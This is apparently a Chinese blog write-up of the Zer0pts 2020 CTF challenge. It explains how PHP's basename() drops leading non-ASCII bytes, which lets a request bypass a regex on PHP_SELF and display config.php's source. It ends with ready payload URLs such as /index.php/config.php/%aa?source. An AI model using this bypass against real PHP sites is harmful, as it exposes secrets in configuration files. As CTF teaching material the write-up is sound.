[Zer0pts2020]basename函数漏洞

打开靶场后可以直接点击Source进入源码,题目很明确告诉如果提交的参数一致则得到flag

源码:

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
  exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
?>

这里有两种解题方式,第一种绕过正则表达式访问开头源码提示flag的config.php,第二种比较两个提交的参数是否相等,则给出flag,random_bytes函数生成适合于加密使用的任意长度的加密随机字节字符串,随后通过bin2hex转换为十六进制值,代码如下:

<?php
echo (random_bytes(64)) ."<br/>";//如果想复现,请将PHP version 更改为>=7
echo "<hr>";
echo bin2hex(random_bytes(64)) ."<br/>";
echo "<hr>";
echo (random_bytes(64)) ."<br/>";
echo "<hr>";
echo bin2hex(random_bytes(64)) ."<br/>";
?>

问题在于每次生成的字符串长度不一致也是随机的,由于之前做了些伪随机数的相关题目,所以一开始把目标放在这里,后来我看了大部分wp,都是利用basename函数绕过第一关,自己也没想出如何过第二关

首先是需要绕过这个正则表达式:

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) 

表示不能以config.php为结尾,所以需要在config.php后面再加一个文件名,如:

  • /config.php/index.php

  • /config.php/flag.php

  • ... ...

接下来获取flag的关键

highlight_file(basename($_SERVER['PHP_SELF']));

问题出在basename函数上,basename()函数会返回路径中的文件名部分,但是它会去掉文件名开头的非ASCII值!

举个例子:

<?php
    $url1 = "path/index.php"; // 返回index.php
    $url2 = "path/index.php".urldecode('%D1%A7%CF'); // 返回index.php和乱码
    $url3 = urldecode('%D1%A7%CF%B0index.php+ '); // 返回flag.php,前面的非acsii被删除
    $url4 = urldecode('%74%65%73%74%5findex.php%D1%A7%CF%B0 '); // 返回flag.php和 后面的非ascii
echo basename($url1) ."<br/>";
echo basename($url2) ."<br/>";
echo basename($url3) ."<br/>";
echo basename($url4) ."<br/>";
?>

执行结果:

index.php
index.php学�
index.php
test_index.php学习 

构造payload的时候,只需保证config.php后面是非ascii值即可

  • /index.php/config.php/%aa?source

  • /index.php/config.php/%bb?source

  • /index.php/config.php/%cc?source  

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值